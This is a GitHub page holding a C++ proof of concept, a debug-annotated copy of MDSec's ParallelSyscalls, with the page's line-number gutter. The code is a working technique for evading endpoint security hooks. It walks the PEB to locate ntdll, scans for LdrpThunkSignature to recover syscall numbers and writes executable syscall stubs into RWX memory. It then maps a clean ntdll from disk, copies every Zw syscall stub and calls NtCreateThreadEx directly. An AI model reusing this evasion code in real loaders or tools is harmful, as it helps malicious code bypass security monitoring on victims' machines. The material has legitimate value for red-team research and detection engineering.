-
Notifications
You must be signed in to change notification settings - Fork 223
Expand file tree
/
Copy pathparallel_syscalls.cpp.txt
More file actions
430 lines (380 loc) · 15.1 KB
/
parallel_syscalls.cpp.txt
File metadata and controls
430 lines (380 loc) · 15.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
/*
just added some debug statement to understand the PoC Indepth.
Original PoC by MDSec: https://github.com/mdsecactivebreach/ParallelSyscalls
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <intrin.h>
typedef void* PRTL_USER_PROCESS_PARAMETERS;
typedef void* PPS_POST_PROCESS_INIT_ROUTINE;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _PEB_LDR_DATA {
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID Reserved4[3];
PVOID AtlThunkSListPtr;
PVOID Reserved5;
ULONG Reserved6;
PVOID Reserved7;
ULONG Reserved8;
ULONG AtlThunkSListPtr32;
PVOID Reserved9[45];
BYTE Reserved10[96];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTE Reserved11[128];
PVOID Reserved12[1];
ULONG SessionId;
} PEB, * PPEB;
typedef struct {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef NTSYSAPI NTSTATUS(NTAPI* FUNC_NTOPENFILE)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG ShareAccess,
IN ULONG OpenOptions
);
typedef NTSTATUS(NTAPI* FUNC_NTCREATESECTION)(
_Out_ PHANDLE SectionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PLARGE_INTEGER MaximumSize,
_In_ ULONG SectionPageProtection,
_In_ ULONG AllocationAttributes,
_In_opt_ HANDLE FileHandle
);
typedef NTSTATUS(NTAPI* FUNC_NTMAPVIEWOFSECTION)(
_In_ HANDLE SectionHandle,
_In_ HANDLE ProcessHandle,
_Inout_ PVOID* BaseAddress,
_In_ ULONG_PTR ZeroBits,
_In_ SIZE_T CommitSize,
_Inout_opt_ PLARGE_INTEGER SectionOffset,
_Inout_ PSIZE_T ViewSize,
_In_ DWORD InheritDisposition,
_In_ ULONG AllocationType,
_In_ ULONG Win32Protect
);
typedef VOID(NTAPI* FUNC_RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
#define OBJ_CASE_INSENSITIVE 0x40
#define STATUS_IMAGE_NOT_AT_BASE 0x40000003
#define MAX_EXPORT_NAME_LENGTH 64
#define MAX_SYSCALL_STUB_SIZE 64
#define MAX_NUMBER_OF_SYSCALLS 1024
FUNC_NTOPENFILE NtOpenFile = NULL;
FUNC_NTCREATESECTION NtCreateSection = NULL;
FUNC_NTMAPVIEWOFSECTION NtMapViewOfSection = NULL;
FUNC_RTLINITUNICODESTRING RtlInitUnicodeString = (FUNC_RTLINITUNICODESTRING)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlInitUnicodeString");
ULONG_PTR BuildSyscallStub(ULONG_PTR StubRegion, DWORD dwSyscallNo) {
BYTE SyscallStub[] = {
0x4c, 0x8b, 0xd1, // mov r10, rcx
0xb8, 0x00, 0x00, 0x00, 0x00, // mov eax, xxx
0x0f, 0x05, // syscall
0xc3 // ret
};
memcpy((PBYTE)StubRegion, SyscallStub, sizeof(SyscallStub));
*(DWORD*)(StubRegion + 4) = dwSyscallNo;
return StubRegion;
}
BOOL InitSyscallsFromLdrpThunkSignature() {
PPEB Peb = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA Ldr = Peb->Ldr;
PLDR_DATA_TABLE_ENTRY NtdllLdrEntry = NULL;
for (PLDR_DATA_TABLE_ENTRY LdrEntry = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;
LdrEntry->DllBase != NULL;
LdrEntry = (PLDR_DATA_TABLE_ENTRY)LdrEntry->InLoadOrderLinks.Flink) {
if (_wcsnicmp(LdrEntry->BaseDllName.Buffer, L"ntdll.dll", 9) == 0) {
NtdllLdrEntry = LdrEntry;
printf("[+] Found ntdll.dll: Base=0x%p\n", LdrEntry->DllBase);
break;
}
}
if (NtdllLdrEntry == NULL) {
printf("[!] Failed to find ntdll.dll in LDR\n");
return FALSE;
}
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)NtdllLdrEntry->DllBase + ((PIMAGE_DOS_HEADER)NtdllLdrEntry->DllBase)->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
ULONG_PTR DataSectionAddress = NULL;
DWORD DataSectionSize = 0;
printf("[+] Found %d sections in ntdll.dll\n", ImageNtHeaders->FileHeader.NumberOfSections);
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
char sectionName[9] = { 0 };
strncpy_s(sectionName, (char*)SectionHeader[i].Name, 8);
printf("[+] Section %d: Name=%s, VirtualAddress=0x%x, VirtualSize=0x%x\n",
i, sectionName, SectionHeader[i].VirtualAddress, SectionHeader[i].Misc.VirtualSize);
if (!strcmp(sectionName, ".data")) {
DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
printf("[+] Found .data section: Address=0x%p, Size=0x%x\n", (PVOID)DataSectionAddress, DataSectionSize);
break;
}
}
DWORD dwSyscallNo_NtOpenFile = 0, dwSyscallNo_NtCreateSection = 0, dwSyscallNo_NtMapViewOfSection = 0;
if (!DataSectionAddress || DataSectionSize < 16 * 5) {
if (!DataSectionAddress) {
printf("[!] .data section not found, trying .rdata\n");
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
char sectionName[9] = { 0 };
strncpy_s(sectionName, (char*)SectionHeader[i].Name, 8);
if (!strcmp(sectionName, ".rdata")) {
DataSectionAddress = (ULONG_PTR)NtdllLdrEntry->DllBase + SectionHeader[i].VirtualAddress;
DataSectionSize = SectionHeader[i].Misc.VirtualSize;
printf("[+] Found .rdata section: Address=0x%p, Size=0x%x\n", (PVOID)DataSectionAddress, DataSectionSize);
break;
}
}
}
if (!DataSectionAddress || DataSectionSize < 16 * 5) {
printf("[!] Failed to find .data or .rdata section or section too small (size=0x%x)\n", DataSectionSize);
return FALSE;
}
}
for (UINT uiOffset = 0; uiOffset < DataSectionSize - (16 * 5); uiOffset++) {
if (*(DWORD*)(DataSectionAddress + uiOffset) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 16) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 32) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 48) == 0xb8d18b4c &&
*(DWORD*)(DataSectionAddress + uiOffset + 64) == 0xb8d18b4c) {
dwSyscallNo_NtOpenFile = *(DWORD*)(DataSectionAddress + uiOffset + 4);
dwSyscallNo_NtCreateSection = *(DWORD*)(DataSectionAddress + uiOffset + 16 + 4);
dwSyscallNo_NtMapViewOfSection = *(DWORD*)(DataSectionAddress + uiOffset + 64 + 4);
printf("[+] Found LdrpThunkSignature at offset 0x%x: NtOpenFile=0x%x, NtCreateSection=0x%x, NtMapViewOfSection=0x%x\n",
uiOffset, dwSyscallNo_NtOpenFile, dwSyscallNo_NtCreateSection, dwSyscallNo_NtMapViewOfSection);
// Dump first 128 bytes of the signature region
printf("[+] First 128 bytes at 0x%p:\n", (PVOID)(DataSectionAddress + uiOffset));
for (UINT j = 0; j < 128 && j < DataSectionSize - uiOffset; j++) {
printf("%02x ", *(BYTE*)(DataSectionAddress + uiOffset + j));
if ((j + 1) % 16 == 0) printf("\n");
}
printf("\n");
break;
}
}
if (!dwSyscallNo_NtOpenFile) {
printf("[!] Failed to find valid LdrpThunkSignature\n");
// Dump first 128 bytes of the section for debugging
UINT sampleSize = min(128, DataSectionSize);
printf("[+] First %u bytes of section at 0x%p:\n", sampleSize, (PVOID)DataSectionAddress);
for (UINT i = 0; i < sampleSize; i++) {
printf("%02x ", *(BYTE*)(DataSectionAddress + i));
if ((i + 1) % 16 == 0) printf("\n");
}
printf("\n");
return FALSE;
}
ULONG_PTR SyscallRegion = (ULONG_PTR)VirtualAlloc(NULL, 3 * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!SyscallRegion) {
printf("[!] VirtualAlloc for syscall stubs failed\n");
return FALSE;
}
NtOpenFile = (FUNC_NTOPENFILE)BuildSyscallStub(SyscallRegion, dwSyscallNo_NtOpenFile);
NtCreateSection = (FUNC_NTCREATESECTION)BuildSyscallStub(SyscallRegion + MAX_SYSCALL_STUB_SIZE, dwSyscallNo_NtCreateSection);
NtMapViewOfSection = (FUNC_NTMAPVIEWOFSECTION)BuildSyscallStub(SyscallRegion + (2 * MAX_SYSCALL_STUB_SIZE), dwSyscallNo_NtMapViewOfSection);
printf("[+] Syscall stubs initialized: NtOpenFile=0x%p, NtCreateSection=0x%p, NtMapViewOfSection=0x%p\n",
NtOpenFile, NtCreateSection, NtMapViewOfSection);
return TRUE;
}
ULONG_PTR LoadNtdllIntoSection() {
NTSTATUS ntStatus;
HANDLE hFile = NULL;
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
UNICODE_STRING ObjectPath = { 0 };
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE hSection = NULL;
LARGE_INTEGER maxSize = { 0 };
LPVOID lpvSection = NULL;
SIZE_T viewSize = 0;
RtlInitUnicodeString(&ObjectPath, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
InitializeObjectAttributes(&ObjectAttributes, &ObjectPath, OBJ_CASE_INSENSITIVE, 0, NULL);
ntStatus = NtOpenFile(&hFile, FILE_READ_DATA, &ObjectAttributes, &IoStatusBlock, FILE_SHARE_READ, 0);
if (!NT_SUCCESS(ntStatus)) {
printf("[!] NtOpenFile failed: 0x%x\n", ntStatus);
goto Cleanup;
}
ntStatus = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_COMMIT, hFile);
if (!NT_SUCCESS(ntStatus)) {
printf("[!] NtCreateSection failed: 0x%x\n", ntStatus);
goto Cleanup;
}
ntStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), &lpvSection, NULL, NULL, NULL, &viewSize, 1, 0, PAGE_READONLY);
if (!NT_SUCCESS(ntStatus)) {
printf("[!] NtMapViewOfSection failed: 0x%x\n", ntStatus);
return NULL;
}
Cleanup:
if (hSection) CloseHandle(hSection);
if (hFile) CloseHandle(hFile);
return (ULONG_PTR)lpvSection;
}
ULONG_PTR RVAToFileOffsetPointer(ULONG_PTR pModule, DWORD dwRVA) {
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pModule;
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pModule + ((PIMAGE_DOS_HEADER)pModule)->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
for (WORD i = 0; i < ImageNtHeaders->FileHeader.NumberOfSections; i++) {
if (SectionHeader[i].VirtualAddress <= dwRVA && SectionHeader[i].VirtualAddress + SectionHeader[i].Misc.VirtualSize > dwRVA) {
dwRVA -= SectionHeader[i].VirtualAddress;
dwRVA += SectionHeader[i].PointerToRawData;
return pModule + dwRVA;
}
}
return NULL;
}
ULONG_PTR FindBytes(ULONG_PTR Source, DWORD SourceLength, ULONG_PTR Search, DWORD SearchLength) {
while (SearchLength <= SourceLength) {
if (!memcmp((PBYTE)Source, (PBYTE)Search, SearchLength)) {
return Source;
}
Source++;
SourceLength--;
}
return NULL;
}
UINT ExtractSyscalls(ULONG_PTR pNtdll, CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS]) {
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)pNtdll;
PIMAGE_NT_HEADERS ImageNtHeaders = (PIMAGE_NT_HEADERS)(pNtdll + ((PIMAGE_DOS_HEADER)pNtdll)->e_lfanew);
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&ImageNtHeaders->OptionalHeader + ImageNtHeaders->FileHeader.SizeOfOptionalHeader);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)ImageNtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAToFileOffsetPointer(pNtdll, VirtualAddress);
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfFunctions);
PDWORD Names = (PDWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNames);
PWORD Ordinals = (PWORD)RVAToFileOffsetPointer(pNtdll, ExportDirectory->AddressOfNameOrdinals);
UINT uiCount = 0;
ULONG_PTR pStubs = (ULONG_PTR)VirtualAlloc(NULL, MAX_NUMBER_OF_SYSCALLS * MAX_SYSCALL_STUB_SIZE, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pStubs) {
printf("[!] VirtualAlloc for syscall stubs failed\n");
return 0;
}
for (DWORD i = 0; i < NumberOfNames && uiCount < MAX_NUMBER_OF_SYSCALLS; i++) {
PCHAR FunctionName = (PCHAR)RVAToFileOffsetPointer(pNtdll, Names[i]);
if (*(USHORT*)FunctionName == 'wZ') {
ULONG_PTR FunctionPtr = RVAToFileOffsetPointer(pNtdll, Functions[Ordinals[i]]);
ULONG_PTR FunctionEnd = FindBytes(FunctionPtr, MAX_SYSCALL_STUB_SIZE, (ULONG_PTR)"\x0f\x05\xc3", 3) + 3;
if (FunctionEnd) {
strcpy_s(rgszNames[uiCount], MAX_EXPORT_NAME_LENGTH, FunctionName);
*(WORD*)(rgszNames[uiCount]) = 'tN';
memcpy((PBYTE)pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE), (PBYTE)FunctionPtr, FunctionEnd - FunctionPtr);
rgpStubs[uiCount] = pStubs + (uiCount * MAX_SYSCALL_STUB_SIZE);
uiCount++;
}
}
}
printf("[+] Extracted %u syscalls\n", uiCount);
return uiCount;
}
ULONG_PTR GetSyscall(CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH], ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS], UINT uiCount, PCHAR pzSyscallName) {
for (UINT i = 0; i < uiCount; i++) {
if (!strcmp(rgszNames[i], pzSyscallName)) {
return rgpStubs[i];
}
}
printf("[!] Failed to find syscall: %s\n", pzSyscallName);
return NULL;
}
typedef NTSTATUS(NTAPI* FUNC_NTCREATETHREADEX)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOfStackReserve,
OUT PVOID lpBytesBuffer
);
int main(void) {
if (!InitSyscallsFromLdrpThunkSignature()) {
printf("[!] InitSyscallsFromLdrpThunkSignature failed\n");
return 1;
}
ULONG_PTR pNtdll = LoadNtdllIntoSection();
if (!pNtdll) {
printf("[!] LoadNtdllIntoSection failed\n");
return 1;
}
CHAR rgszNames[MAX_NUMBER_OF_SYSCALLS][MAX_EXPORT_NAME_LENGTH] = { 0 };
ULONG_PTR rgpStubs[MAX_NUMBER_OF_SYSCALLS] = { 0 };
UINT uiCount = ExtractSyscalls(pNtdll, rgszNames, rgpStubs);
FUNC_NTCREATETHREADEX NtCreateThreadEx = (FUNC_NTCREATETHREADEX)GetSyscall(rgszNames, rgpStubs, uiCount, (PCHAR)"NtCreateThreadEx");
if (!NtCreateThreadEx) {
printf("[!] Failed to get NtCreateThreadEx\n");
return 1;
}
NTSTATUS ntStatus;
HANDLE hThread = NULL;
ntStatus = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)0x41414141, NULL, 0, 0, 0, 0, NULL);
if (!NT_SUCCESS(ntStatus)) {
printf("[!] NtCreateThreadEx failed: 0x%x\n", ntStatus);
return 1;
}
printf("[+] Compile Success\n");
Sleep(INFINITE);
return 0;
}